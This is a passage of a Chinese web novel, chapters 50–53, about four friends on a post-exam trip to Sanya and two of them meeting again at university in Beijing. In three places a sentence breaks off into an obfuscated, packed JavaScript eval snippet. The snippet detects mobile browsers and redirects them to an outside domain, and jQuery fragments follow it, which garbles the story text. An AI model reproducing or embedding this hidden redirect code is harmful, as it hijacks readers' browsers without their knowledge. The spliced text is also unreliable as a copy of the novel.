这种掩耳盗铃般的鸵鸟心态在被摧残了半个月后,彻底失效。辛苗在家俨然成了一个不被待见的小可怜,就连去店里帮忙也被赵锦华嫌弃手底下不利索。几次三番下来,辛苗彻底不干了。 某天傍晚,巷子口的泡桐树下,辛苗喝刚从超市冰箱拿出来的冰镇饮料,一脸忧伤的向小伙伴们倾诉自己凄惨的境遇。 辛苗叹气:“我现在在我家,感觉连多呼吸几口空气都要被我妈看不顺眼骂一通,太惨了。” 祝楠楠点头跟捣蒜似的附和:“一样一样,我在我家根本没人权,要不是我小舅妈前段时间刚生了小宝宝,我高低跑回我外婆家去紧急避难。” 辛苗啧啧感叹:“太大了,这考前考后差距太大了,从天堂到地狱也没差……陈青禾你呢?哦不好意思忘了你没高考,打扰了。” 陈青禾:“……” 祝楠楠灵机一动:“唉,不如我们去打工吧!找个什么工作,赚人生的第一桶金!” 辛苗眼睛一亮,觉得这个提议不错! 刚准备举手同意,就听见旁边传来一声混不吝的嗤笑,裴松一脸鄙视地说:“得了吧,还打工。哥劝你们这三个……”话一顿,他瞥了眼在旁边板着个脸的陈青禾:“这两个傻子,抓紧玩,以后有你们打工的时候!” 祝楠楠:“说谁傻子呢?给谁当哥呢?” 辛苗却转念一想:“好像也有一定道理……那我们去毕业旅行吧!” 其余人:“!” …… 众所周知,旅行最需要的是说走就走,切勿瞻前顾后,只用选定目的地,然后冲就完事儿了。 或许是看他们压抑了太久,父母们非常开明、非常大度,只有裴松那边遇到了点问题,好在最后一切顺利解决了。几个人凑在一起合集了一番,选定了海南作为此次的目的地,理由非常朴实——淡季,便宜。 辛建强送四个人去机场,一路上嘴就没停过,一直叮嘱他们安全事项,絮絮叨叨车轱辘话说了一路,来回不过就是那么几个方面。眼看到机场了,临别前又不放心的拽着辛苗的手,将她托付给这几个人里头看上去最稳妥的陈青禾,最后在辛苗的坚决保证下,才一步三回头的走了。 因为是和从小长大的小伙伴们一起出行,这趟旅途从刚开始就注定是充满欢乐且圆满的。 除了陈青禾,其余三个人都是头一次坐飞机。从过安检的那刻开始,辛苗心里的激动就再也按捺不住了。她像是一只刚飞出笼子的鸟儿,看什么都是新奇的。换登机牌新奇,过安检新奇,候机区的商店她也觉得稀奇,左顾右盼的,眼睛几乎招架不不过来。尤其是当飞机腾空的那一秒,她瞪大眼睛看着窗外,感觉整个人随着机身变成了高高仰起的角度,这种紧张又刺激的初体验让她下意识的抓紧了身边的人,修剪的短短的指甲在陈青禾手腕上掐出了一圈月牙儿。陈青禾不说话,抿着唇任由她施为。 飞机拉升到一定的高度,角度重新变得平稳,辛苗却开始耳鸣了。她先是晃了好几下脑袋,耳鸣还在持续,她杏眼里沾染着几丝茫然,眨巴眨巴,无辜地看向一旁“无所不知”的陈青禾。 陈青禾上半身倾过,被她攥紧的手轻轻一翻……位置完全颠倒了过来,变成了他的掌心覆盖着辛苗摊开的手,像极了交握的姿态。 他低声问:“怎么了?” 辛苗有些惶恐:“我耳朵好难受啊。” 陈青禾安抚道:“别紧张,正常现象,你试着咽下口水。” 辛苗于是照做了两下。“真的有用诶!” 陈青禾问:“不难受了?” 辛苗摇摇头:“不了。” 陈青禾笑了笑,率先松开了手:“那就好。” 飞机在空中飞行了三个多小时,直至傍晚才终于落地。一行人取了行李,直奔停车场,他们定的民宿在三亚湾,从机场过去不算远,为了方便省事,直接打了辆出租,陈青禾坐副驾,负责跟司机师傅沟通目的地和价格,其余三个人挤在后排坐成一排。 出租车开出去的那刹那,辛苗的心脏才彻底定下来。她按下车窗,呼吸着外头夹杂着海水咸涩味道的空气,看着公路两边成排的椰子树向后掠过去,心里有种说不出来的愉悦。 祝楠楠也开心,但又怕露怯,一路上都忍着。这会儿也终于忍不住了,伸手戳了戳辛苗。 辛苗回过头:“嗯?” 祝楠楠小声说:“你看天!” 辛苗听话的仰起头,然后瞬间瞪大了眼睛。她黑白分明的眼底倒映出头顶天空的颜色,像是打翻了颜料瓶,晕开一大片一大片的红色。 辛苗激动地身体向前倾,隔着座椅靠背,对着副驾的人说:“陈青禾你快看,这里的天空是粉色的!” 她开心极了,连带着陈青禾也被感染了,唇角微微抬起,“嗯,很漂亮。” 边上,裴松翻了个白眼:“傻不愣登。” 辛苗注意力立马怼到他身上:“你骂谁?” 裴松哼哼:“谁问骂谁。” 辛苗:“你才傻,你个二傻子!” 两人你一言我一语,又开始了新一轮的言语交锋,从幸福巷到海南三亚,从祖国的北边到南边……祝楠楠习以为常地低下头,伸出两只食指堵住了耳朵,动作熟练的令人心疼。 前排,陈青禾从后视镜里目睹着“战况”的惨烈升级,却并没有要制止的打算。他视线定在辛苗的脸上,看着她因为生气而鼓起来的脸颊泛着粉粉的颜色……就像这里的天一样漂亮。 - 回程的机票定在五天之后,他们可以在这边足足待满五天四夜。来之前,辛苗和祝楠楠用电脑查了景点,结合陈青禾跟裴松的建议,制定了详细的出游计划。 头三天,四个人严格按照攻略出行。 他们参观了南山寺,看了108米的观音像,看了天涯海角的大石头,去椰梦长廊逛了一大圈,还坐船去了蜈支洲岛。每天都是满满当当的,从一睁开眼出门,玩到傍晚才回来。 等到了第四天的时候,祝楠楠说什么都不干了。 “我寻思咱们是出来旅游吧,这怎么搞的比奋战高考100天还累?不行了不行了,今天你们去吧,让我好好歇一天。” “还能脱离队伍?”裴松问,紧接着举起手:“那我也申请好好歇歇。” 辛苗傻眼了:“你们都不去吗?咱们还有好几个地方没去呢。” 祝楠楠有些抱歉的抓住辛苗的手,惨兮兮地问:“苗苗,我真的太太太累了,你呢?你不累吗?” 辛苗略一迟疑:“其实……也累。” 这几天为了赶行程,七八点就起床出门,然后绕上一大圈,晚上八点才能回来,这边一个景点距离一个景点又有不短的距离,实话实话,还蛮辛苦的。 祝楠楠听她这么说,顿时一拍大腿:“要不这样吧,我们今天不去景点了,就在民宿附近转转吃吃,反正出来旅游嘛,舒服最重要,你觉得呢?” 辛苗有些犹豫,她其实挺想玩,但祝楠楠说的也有几分道理,于是陷入了纠结。她一纠结就爱咬嘴唇,洁白的牙齿咬住下唇殷红的软肉不断地碾磨着,跟不知道疼似的。 眼看着她再这么咬下去,非得扯开一层皮不可,陈青禾干脆果断道:“辛苗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924440|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想去就去,我陪你。不想去我们就一起在附近逛逛。祝楠楠说得没错,旅行的意义不一定要去遍每一个地方,享受当下的心情才是最重要的。” 辛苗抬眸看向他,半晌,艰难的作出了决定。 “那……就在附近转转吧。” “好。” 于是,在三亚的第四天,幸福巷旅行团哪儿都没去,他们买了一副扑克牌,在酒店窝了大半天。因着辛苗跟祝楠楠的房子朝向好,能看见海滩,四个人便挤在她们房间打扑克。 裴松从民宿老板那儿要来了纸,裁成细条,谁输了就给谁脸上贴一个。几个小时下来,除了陈青禾脸上有零星几个之外,其他三人满脸都是。尤其是辛苗,已经贴到没地方贴了。 她干脆耍赖,扑克牌往床上一扔:“不玩了不玩了,已经快六点了,我饿了,咱们去吃饭吧?” 祝楠楠附和:“走,我也饿了,我想吃椰子鸡!” 裴松跟陈青禾两人对吃什么这件事没意见,一切以她们俩女生优先。四人稍微收拾了一下,到了最近的市场里头找了家看起来像模像样的店进去。 虽然是暑假三亚特别热,算得上是旅游淡季,但人仍旧不算少,光是等位就等了半个多小时,好在最后味道还算不错。几个人吃完椰子鸡出来的时候,已经是晚上八点了,夕阳西下,残存着一点余晖挂在海的尽头,粉色的晚霞倒映在大海上,顺便映出了躲藏在云后的半个月牙儿。 一整天没出门,又刚吃饱饭,几个人浑身都是劲儿,没人想回酒店。 辛苗问:“那我们接下来干什么?去海边走走?” 祝楠楠一如既往的捧场:“可以啊,这会儿也不热了,踩在沙滩上应该会很舒服。” 裴松却是不怎么赞同:“光走多没意思啊?” 辛苗:“那你还想干嘛?” 裴松顿了顿,眼睛一眯:“唉,你们几个,想不想搞点儿刺激的?” 其余人:“?” 几个人不知道他在卖什么关子,面面相觑着,却没人说什么。裴松一见没反对的,转身就走。等三五分钟过后再回来时,手里拎着两个便利店的塑料袋,里头不知道装了什么瓶瓶罐罐,看起来挺沉。陈青禾走过去从他手里拎过了一只,低头一看,脸色蓦地怪异了起来,说冷也算不上冷,但就是有点儿……严肃? 辛苗越发好奇:“什么东西啊?” 陈青禾干脆撑开塑料袋:“你自己看。” 辛苗探过脑袋,待看清里头的东西时,先是一愣,随后直接乐了。 她扭过头问裴松:“你说的新鲜刺激的,就是喝酒?” 裴松下巴一抬:“你就说你们喝过没?” 辛苗和祝楠楠老老实实地摇头:“没有。” 陈青禾倒是没吭声,不过看他那样子也不像有。 裴松说:“这不就对了!你看你们都成年了,也高中毕业了,这不就成大人了么。哥先带你们告别青春,来点儿大人该干的事,尝尝?” 祝楠楠起先还没觉得有什么,但他一说成年,一说高中毕业,一说告别青春……她就有点激动了,“尝!我要喝,苗苗你呢?” 辛苗早就在一边摩拳擦掌跃跃欲试了。 她好奇心重,对未知的一切领域都充满了探索欲,包括酒的味道和喝醉的感觉。她想也没想就点头:“我也想喝!” 话刚说完,余光瞥见一旁站着的陈青禾,突然想起她爸进行前的嘱托……辛苗又不禁心虚起来。但气氛已经到这儿了,酒也买了,人也天高皇帝远了,辛苗大脑火速运转三秒,当即决定拉良家少男下水。 “陈青禾,你呢?”辛苗歪着脑袋,笑得像只狡黠的猫:“来都来了,你也一起好不好?我们还没有一起喝过酒呢。” 陈青禾不明显地勾了勾唇角,万分纵容的语气说“好”。 51. 第 51 章 傍晚的沙滩上比白天人还要多。四个人沿着海岸线走了挺远一段距离,才终于找到了一个相对人少的地方。 裴松把手里的塑料袋往沙滩上一扔:“就这儿吧,走不动了。” 其他人都没意见。 四人并排在海边坐下,辛苗一边是祝楠楠,一边是陈青禾,再往过则是裴松。被太阳炙烤了一整天的沙滩还没有褪去温度,干燥而温热,坐上去屁股甚至有点烫。 夜里的海风却变得有了凉意,从无边无际的海洋尽头吹过来,夹杂着海水腥咸的气息拂在人身上。白色的浪花也紧随其后,一下又一下的拍打在沙滩上,留下一串白色的泡沫……别提有多惬意了。 裴松从塑料袋里取出两瓶绿色瓶身的易拉罐啤酒,顺手递给了陈青禾一瓶,后又扯过另一只塑料袋,从里头拿出了两瓶相对较小、且瓶身是粉色的啤酒扔给祝楠楠跟辛苗。 辛苗接住,没急着喝,低下头在手心里翻来覆去的看了一遍,又盯着陈青禾手里那罐,一脸好奇道:“为什么我俩的跟你俩的不一样?” 祝楠楠也问:“对啊,怎么一个粉色一个绿色……西柚味,啤酒还有水果味儿?” 裴松老神在在的嗤笑一声,作为这里头唯一喝过酒的大人,他先是鄙视了辛苗跟祝楠楠一番,然后用一副过来人语气解释道:“不懂了吧,味道多了去了,还有草莓蓝莓玫瑰什么的。看你俩是女孩子才专门买的,味道淡、度数低,还比我俩这个贵!” “喔,这样啊~”辛苗不明觉厉。 她跟祝楠楠对视一眼,彼此都有些迫不及待的扣开拉环。伴随着“呲——”一声响,刚从冰柜取出来的啤酒罐口冒出一缕白烟,辛苗来不及探究,先郑重的怼上嘴巴抿了一小口。 “怎么样怎么样?”祝楠楠一脸惊奇地问。 辛苗的小山眉紧蹙,一张脸皱成了包子样儿。嘴巴里弥散开一股说不清道不明的味道,有点碳酸饮料刚入口的那种细微的刺激感,但又没那么甜……不仅不甜,甚至还有点苦,可那股苦味里又有些水果的清香气息。 很复杂的味道,辛苗形容不上来。 她咂巴咂巴嘴:“怪怪的,倒是不难喝,你试试看。”说完,想起旁边还有一个没喝过的,她立即偏过头,目光炯炯:“陈青禾,你快试试看!” 陈青禾在她充满期待的眼神中将瓶口抵在唇边,稍一顿,他掀开唇畔,脖颈微仰,喉结滚动了下……然后,那总是波澜不惊的眉眼下意识的往下压。待挪开易拉罐时,却又恢复如常。 “还好。”陈青禾淡淡说,嘴里那股涩味其实算不上好,但也能接受。 “看吧,也就你俩挑三拣四,我们男人对酒精天生就有适应能力。”裴松自豪道,也不知道哪一点值得他自豪。 祝楠楠不屑地嘁了一声:“得了吧还男人,学还没上完呢!” 裴松:“已经成年了好吗!” 祝楠楠反问:“在座的谁没成年啊?” 裴松:“……” 眼看这回她俩又要干起来了,辛苗赶紧从中调停。她举起酒瓶,随口找了个由头:“来来来别吵了,我们先干杯一下嘛,庆祝高考结束,长大成人!” 祝楠楠跟裴松本来也不是真的吵,听见新年,这么说,两人同时熄火举起酒瓶,陈青禾也抬起手臂。四瓶易拉罐在空中撞出当啷一声脆响,液体撞出瓶口飞溅到沙滩上。 辛苗眯起眼睛,笑盈盈的喊道:“干杯!” “干杯!” “呜呼毕业快乐!” “干杯。” 然后纷纷仰起头,双眼紧闭,任由苦涩的液体从喉咙灌进胃里。辛苗喝了一口就喝不下来,她停下来往边上一看,其他三个人还都在喝……说干杯那就真干杯,特实诚!辛苗赶紧随大流,又咕嘟咕嘟的灌了起来。 一瓶酒很快见了底,裴松从袋子里又去了四瓶挨个递了过去。刚才一瓶干到底,喝得太急,几人脸上都有了红晕,尤其是两个女生,耳朵跟脖根都红了一大片。 裴松嘱咐:“这瓶慢点喝,小心醉了!” 祝楠楠除了脸发烫没别的感觉,漫不经心地点了点头,嘴上逞强道:“放心吧,我估摸着呢。” 裴松乐了:“你估摸着,她呢?” 祝楠楠看向身旁。只见辛苗坐在原地,低头扣着瓶子上的拉环,不知道怎么回事,她手半天穿不进环里,动作有些呆滞。最后还是陈青禾看不下去,一把从她手里接过,打开之后又还了回去。 祝楠楠瞠目结舌:“苗苗,你醉了?” 辛苗反应慢半拍的抬起头:“没有啊。” 她眸中带水,脸颊绯红……导致这话没有半点可信度。 祝楠楠差点喷了!不是,这也太快了吧?前后五分钟时间都没有,就成这样了? 她难以置信地看看裴松,又看看陈青禾……后者却没看她。陈青禾的全部注意力都集中在辛苗身上。 他将自己手里的易拉罐随手扔在了一旁,双手扶在辛苗的肩膀上,让她正视自己。 “你现在什么感觉?”陈青禾问,眉毛轻轻拧着。 辛苗想了想,乖乖回答道:“脸有些烫,眼睛有点花……嗯,头也有点不舒服,其他都还好。” 陈青禾静默半晌,下了结论:“你喝醉了。” 边上,裴松满脸匪夷所思:“不是,这就一瓶酒?一瓶?” 祝楠楠也有些不知道该说什么:“第一次喝嘛……” 裴松:“那这也太快了吧?” 祝楠楠点点头:“……我也觉得。” 辛苗回答完陈青禾的问题,就不再说话了,乖乖的坐在原地不动。陈青禾刚一松手,她身形就晃了晃,紧接着便一头往下栽。没办法,陈青禾赶紧又伸手扶住。 祝楠楠很懵:“那咱们接下来干啥?回去?” 裴松无语死了:“回吧,辛苗都这样了。” 陈青禾自然也没意见。 但辛苗却不行。 她脑袋昏昏沉沉的,但意识还勉强清醒,一听见要回去,顿时不干了,“这才几分钟啊就回?不回不回!” 陈青禾顿了顿,问:“那你想做什么?” 辛苗撩起眼皮:“就,坐这儿聊天啊……明天就返程了,回去不久就出成绩了,除了成绩就得报志愿,然后等通知书,然后就去上大学……我们大家马上就要各奔东西了,怎么能不珍惜这最后的时光呢?对吧?对吧?” 她眼底茫然一片,逻辑倒是挺清晰。 陈青禾抿了抿唇,又问:“你想聊什么?” 辛苗这回卡顿了好久,才说道:“聊,聊,聊什么呢?聊我们会去哪里!” 她坚持不走,甚至连话题都想好了,其他几人也不再坚持。陈青禾调整了下坐姿,松开了辛苗的肩膀,然后在她马上就要歪倒下去的时候,握住她细瘦的小臂轻轻一拽,让她半边身子靠在了自己身上。 辛苗的脑袋枕在他的肩头,清清浅浅的呼吸带着西柚味,喷洒在陈青禾的耳后。少年没有任何多余的反应,撑在身侧的手指却骤然收紧,指缝里溢出细细密密的沙。 祝楠楠眼睁睁目睹了辛苗是怎么歪过去的……她嘴巴动了动,又合上,隔了几秒又张开,最后还是什么都没能说出口,只低下头,默默捂住了自己的脸,顺带遮住了疯狂上扬的嘴角。 唯一被蒙在鼓里的只有坐在最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938727|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的裴松。 他全然不知旁边方才发生了什么,傻兮兮地喝了口酒,起了个话头:“你们去哪里读大学?我反正是离不开这一亩三分地了。” 祝楠楠清了清嗓子:“那什么,我成绩一般,能考上哪里去哪里……你俩呢?” 陈青禾侧过脸,语气淡然:“北京。” 裴松抬了抬下巴:“唔,听说你已经被提前录取了,恭喜啊……辛苗呢?辛苗?能听见我说话么?” 最先嚷嚷着要聊天的人在一碰到陈青禾肩膀的时候,就跟喝了安眠药似的,闭上了眼睛,就连裴松叫她都完全听不见,看样子已经彻底醉了。 裴松见状直乐:“年轻就是好,倒头就睡。” 祝楠楠:“噗……哈哈哈。” 裴松感叹一声:“也不知道辛苗会去哪里?这活宝…” 祝楠楠说:“苗苗跟我提过,她也想去北京。” 北京二字就像一个开关,醉鬼辛苗立马弹了起来,嘴里嘟嘟囔囔地说:“对!去北京!我要去北京……读大学,谈恋爱!” 话音落下,立马一头栽了回去,干脆利落,真真是倒头就睡。 裴松被她这反应差点没逗死,他笑了半晌,才徐徐道:“陈青禾,你可把她给看住了……这二傻子还想谈恋爱,可别让人给骗了咯。” “嗯,我会的。”陈青禾说。 他抬手将辛苗凌乱的刘海拂向耳后,抬起头,目光遥遥地看向天尽头,瞳孔深邃,宛如夜里看不见底的海。 - 辛苗这一醉,直接睡到了隔日早上十一点。 当天是返程日,原本也就没安排什么行程,加上大家前一晚都喝了点酒,干脆默契的睡到了自然醒。 辛苗睁开眼的时候整个脑袋都是懵懵的。她侧过身往左边床上看了一眼,空的,祝楠楠已经起来了。又转过脑袋看向右边,浴室玻璃上起了一层雾,喷淋头的水往下哗哗流着,八成是祝楠楠在洗澡。 辛苗缓了会儿,干脆坐起身靠在床头发愣。 等祝楠楠洗完澡出来的时候,就看见她肿着两个大眼泡坐在那儿梦游。 祝楠楠被她这副模样逗笑了:“还没醒啊?” 辛苗回过神:“醒了,头疼。” 祝楠楠摇摇头:“你这个酒量……算了,赶紧去洗漱,今天下午三点的飞机,吃完饭就得去机场了。” 辛苗摸过手机一看,已经十一点半了,时间有点赶,她当即不在发愣,拿了换洗衣服直奔浴室。等洗完澡收拾好行李之后,已经过了十二点了。 两人彻底把房间检查了一遍,确保不落东西之后,在群里跟两男生说了声,便先行去前台退房卡。不知道什么原因,向来利索的两个男生这会儿尤其的慢,祝楠楠索性拉着辛苗坐在了一旁的沙发上等着。 两人有一搭没一搭的闲聊了几句,辛苗问:“我昨天怎么回来的?” 祝楠楠神情忽然一凛,眼底瞬间迸发出光来:“陈青禾背着你回来的。” 辛苗愣住:“背……背着?” 祝楠楠点头如捣蒜:“对啊!你一瓶酒就醉了,叫你回你不回,非要聊天,结果没说两句你就直接睡着了,怎么叫都叫不醒。” 辛苗:“……” 她无话可说,低下头捂着自己的脸,惋惜着自己所剩不多的脸面。 空气安静了两三分钟,直到祝楠楠打破沉默。 她向是下定了某种决心,两手握拳,嘴唇坚毅地抿成一条直线,犹如慷慨赴死一般,凑近辛苗耳畔。 “苗苗,我……告诉你个秘密吧。” “好啊,是什么?” “陈青禾,好像,喜欢你。” 52. 第 52 章 2014年9月底。 已经立秋,气温仍旧居高不下。 京师大为期半个月的军训生活在大一新生哭天喊地的祷告声中,终于圆满结束。第二天又刚好是国庆长假,不用赶早八上课,新生们就纷纷约着去好好庆祝一番,一时间,学校附近的餐厅被这些人占领了一大半。 辛苗她们宿舍原本也打算去聚餐,结果等收拾完出去之后,想吃的那家火锅店已经没了位置,隔壁烤肉店也得等半天,最后几个女生一合计,干脆买了一大堆的小吃零食拎回宿舍吃。 辛苗大学专业报的是历史学,班上一大半都是女生,但半个月军训时间,大家接触的并不算多,最熟悉的还是本宿舍的。辛苗宿舍是四人间,上床下桌,除了她之外,还有两个北京本地姑娘和一个隔壁省份的,都是北方人,饮食习惯大差不差,宿舍氛围还蛮不错的。 四个人拎着大大小小的塑料袋回到宿舍,第一件事就是支起小桌板放在宿舍正中间,将手里的小吃零食饮料一股脑的堆上去,然后拉着各自的板凳在边上围坐一圈,准备开始今天的“晚宴”。 舍友李欣悦性格比较豪爽,当即就拎出四瓶鸡尾酒饮料塞进大家手里,吆喝着干杯。 辛苗两个月前在海南一瓶倒的经历还没忘,哪敢真的干,仰头抿了几口就不敢再喝了。好在舍友们也没人劝,大家都各吃各的,好不惬意。 李欣悦问:“明天就放假了,你们有没有计划?” 王黎说:“目前还没有。” 孙瑾也摇头:“我也没有,辛苗你呢?” 辛苗正准备说没有,手机却恰到好处的在边上震了几下。她拿起一看,是陈青禾发来的微信,大意是问她明天有没有事,想过来她学校看看。 辛苗想了几秒,回复了个【好】。 然后放下手机,顶着几个舍友投来的疑惑的目光,有点不好意思的说:“本来没有,但是现在有了。” 李欣悦边啃鸭脖边问:“干嘛去?” 辛苗说:“我朋友明天想来咱们学校转转,我得陪他了。” 王黎:“你朋友?高中同学吗?” 辛苗:“嗯,我发小。” 孙瑾:“男的女的?也在北京上学吗?哪个学校的?” 辛苗挨个如实道:“男生,在京大。” 话音落下,啃鸭脖的也不啃了,嚼薯片的也立马不嚼了。李欣悦擦干净手,一脸八卦地凑上前问:“京大的啊!男朋友吗?” 辛苗愣了一秒。 她无可避免地联想起了在海南最后一天,祝楠楠跟她说的那个所谓的“秘密”——陈青禾,大概,喜欢你。虽然已经过去了两个月,但辛苗却能将她的每一个表情,每一个字,都记得清清楚楚。 当时祝楠楠说完,辛苗就跟卡壳了似的僵在了原地,大脑宛如年久失修的机械,生锈生的完全卡死,纹丝不动。还不等它重新运转,陈青禾和裴松就拉着箱子过来了,看见她僵硬地坐在那儿一动不动,陈青禾甚至还拧着眉略显担忧地问她是不是不舒服。辛苗赶紧说没有,看都没敢看他,拉着箱子就跑。 之后回到幸福巷,高考出成绩,报志愿,忙的一塌糊涂。陈青禾倒是不像她这么兵荒马乱,他收到了京大的夏令营邀请,带着行李到了北京,跟一帮被提前录取的新生在一起吃喝玩乐。等他回来的时候,京大也快报名了,他没待几天就又去了北京……这中间她俩倒是见了几面,不过完全没提这件事——辛苗压根不知道怎么说,毕竟那只是祝楠楠猜测的,她也不好直接冲上去验证。 况且,验证了之后呢? 她还没想好。 李欣悦:“辛苗?辛苗?” 辛苗回神,脸上窜起一阵热意,她赶紧摆手:“不是男朋友,是我发小,我俩家就住隔壁……你们呢?你们明天要出去玩吗?” 李欣悦:“再说吧……你脸怎么那么红?” 辛苗怔然:“有吗?” 王黎在一旁点头:“有。” 辛苗将手里的泡椒鸡爪举了起来:“哈哈,可能是被辣到了。” “晚宴”吃到了晚上九点多,四个人搭手将桌子收拾干净,顺带将宿舍整整齐齐的清洁了一遍。辛苗洗完澡躺上床的时候,正好是十点半。手机在做卫生的时候被扔到了床上充电,这会儿拿过来一看,上面有两个未接来电和两则微信未读消息,都是陈青禾的。 辛苗点开看了眼,一则是在九点半发来的,一则是十分钟前,只有简短几个字。 陈青禾:【辛苗?】 陈青禾:【你人呢?】 隔着屏幕,辛苗都能想到他盯着没人接通的手机屏幕时,眉眼微蹙的样子。辛苗没忍住,轻轻笑了声。 “辛苗?你乐什么呢?”李欣悦问。 “啊,没事。”辛苗吐了吐舌头,将自己缩回到被窝里头。 她原本打算给陈青禾回个电话,但碍于室友们都准备休息了,想了想,还是给他发了微信。 【刚在洗澡没看手机,找我干嘛?】 【嗯。明天我几点过去合适?】 【都可以啊,给我留个睡懒觉的时间就行。】 【中午十一点?】 【好呀。】 隔日,辛苗一觉睡到自然醒。半个月的军训生活透支了她全部的体力精力,好不容易松懈下来,身体就跟快用光了电的电池一样,迟钝到不行。辛苗缓了半分钟摸出手机看了眼时间,被上面的10:32吓得瞬间清醒。 三个舍友回家的回家,出去玩的出去玩,宿舍就剩下辛苗一个人。她没了顾忌,叮铃咣铛的把自己从架子床上砸下来,冲进卫生间里洗漱。等一切准备就绪出门的时候,已经十点五十多了。 从宿舍楼到校门口还有一两公里的距离,辛苗一路过飞奔,已经长到肩胛骨的头发来不及束起来,随着她奔跑的动作,肆意的在脑后跳跃。 辛苗一边跑一边摸出手机给陈青禾打电话,刚拨出去没几秒,那边就接通了。 “你到哪儿了我起来迟了现在正往校门口跑你等我一下!”辛苗急得一口气说完,连标点符号都不带停的。 电话那端,陈青禾像是笑了一下,声音低低的:“你跑什么?” 辛苗大口大口的喘着气:“怕你等急了啊!” “我不急。”陈青禾说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954849|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你停下。” “啊?哦。”辛苗下意识就放缓了步子。 这些年拜她亲爹妈所赐,动不动就让陈青禾盯住她。盯她做作业,盯她在学校的表现,盯她出去玩不要乱跑……几年下来,辛苗听他话听得已经形成了一种条件反射,陈青禾怎么说她就怎么做,连脑子都懒得过一下。 陈青禾又说:“右前方。” 辛苗呆呆地朝着他说的方向看过去。 德育楼侧边那条通往校门口的路旁种满了榆树,茂密的枝桠向四周横生着,小而窄的榆树叶挂满了枝头。笔直的树干旁,陈青禾一手拿着电话放在耳畔,另一手闲适地垂在身侧,脸上罕见地挂着浅淡的笑意。他身上穿了件白色衬衫,袖子挽起到手肘的位置,底下是黑色的休闲裤和白色板鞋。 京大开学更早一些,他比辛苗提前十天到的北京,算上这半个月军训,俩人将近一个月没见了。他整个人好像都瘦了点,这让原本就笔挺的面部轮廓看起来更锋利了些。加之,高考结束,积压已经的重负消失,又换了生活环境,陈青禾整个人好像都有些变了……但具体哪里变了,辛苗又说不上来,隐隐觉得像是更松弛了些,还有些陌生…… “发什么愣?”陈青禾走进,曲起手指在她额头上敲了敲。 熟悉的动作将辛苗瞬间拉了回来。 她摸了摸被他敲过的那块皮肤,悄悄松了口气。 “你怎么跑进来了?我还以为你在校门口等我。” “原本是。但是没找见你,我就直接进来了。”陈青禾说完,居高临下的看她一眼,语气了然:“睡过了?” “……嗯。”辛苗不情不愿的应了声:“快到饭点了,我们先吃饭吧?” 陈青禾:“可以。” 辛苗歪着脑袋问:“你想吃什么?” 陈青禾无所谓道:“都行,看你。” …… 十分钟后,两人进了师大餐厅。 辛苗羞涩地掏出饭卡刷了两份黄焖鸡米饭,并非常慷慨的将大份的给了陈青禾。 “尝尝看,我们宿舍一致认为最好吃的一家。” 陈青禾捏着筷子跟餐盘里的鸡头对视了两眼,客气道:“谢谢。” “不用谢。”辛苗说。倒不是她抠门不愿意请他出去吃,主要是这半个月她自己也没去外头下过馆子,压根不知道哪家好吃,想来想去还不如吃食堂,便宜还好吃。 辛苗夹起一块土豆塞进嘴里,绵绵沙沙的口感让她幸福的眯起了眼睛。几口下去,肚子没那么空了,她才想起问:“你怎么突然要来我们学校转?” “突然吗?”陈青禾反问:“来北京之前,赵姨拉着我的手说让我照顾你,你当时不是在场?” “我妈就随口一说,其实你也不用太当回事的。”辛苗颇感无语,主要是从京大过来公交得一个多小时,还挺折腾人的,“你就因为这原因就特地跑一趟啊?” 陈青禾放下筷子:“不然还有什么原因?” 辛苗想也没想,随口扯道:“切,我还以为一个月没见,你想我了呢。” 话落,还不等陈青禾反应,她自己先僵住了。 53. 第 53 章 餐厅顶上,中央空调的冷风飕飕地吹着,辛苗却愣是出了一脊背的汗。 她心虚。 如果,祝楠楠没有跟她说那个离谱的猜测,按照辛苗的性格,说了也就说了,反正她向来跟亲近的人说话不过脑子,想到什么说什么,没有旁的弦外之音,陈青禾想必早都习惯了。 但偏偏祝楠楠说了,她自己也听进去了,这就坏菜了。先不说陈青禾听了会怎样,反正她自己刚说完就觉得心虚,还尴尬……总觉得俩人的关系在不知不觉中好像变了种样子,连带着相处起来都不如以前随心所欲了。这一切跟陈青禾无关,是她自己在作祟。 辛苗的筷子戳着餐盘里无辜的鸡块,她忐忑的抬眼看了陈青禾一下,视线在触及到他的时候,又很快避了开,说话都打起了磕巴:“那个,不是,我不是那个意思,我就是随口胡诌的,你别往心里去哈。” “嗯。”陈青禾应了一声,嗓音沉沉,显得格外冷淡。 他目光如有实质,一寸一寸地刮过她的脸,在辛苗看过来的那一瞬间,又倏地收了回来。陈青禾重新拾起一旁的筷子,半垂着眼,长而直的睫毛遮蔽住了他瞳孔里的阴翳。 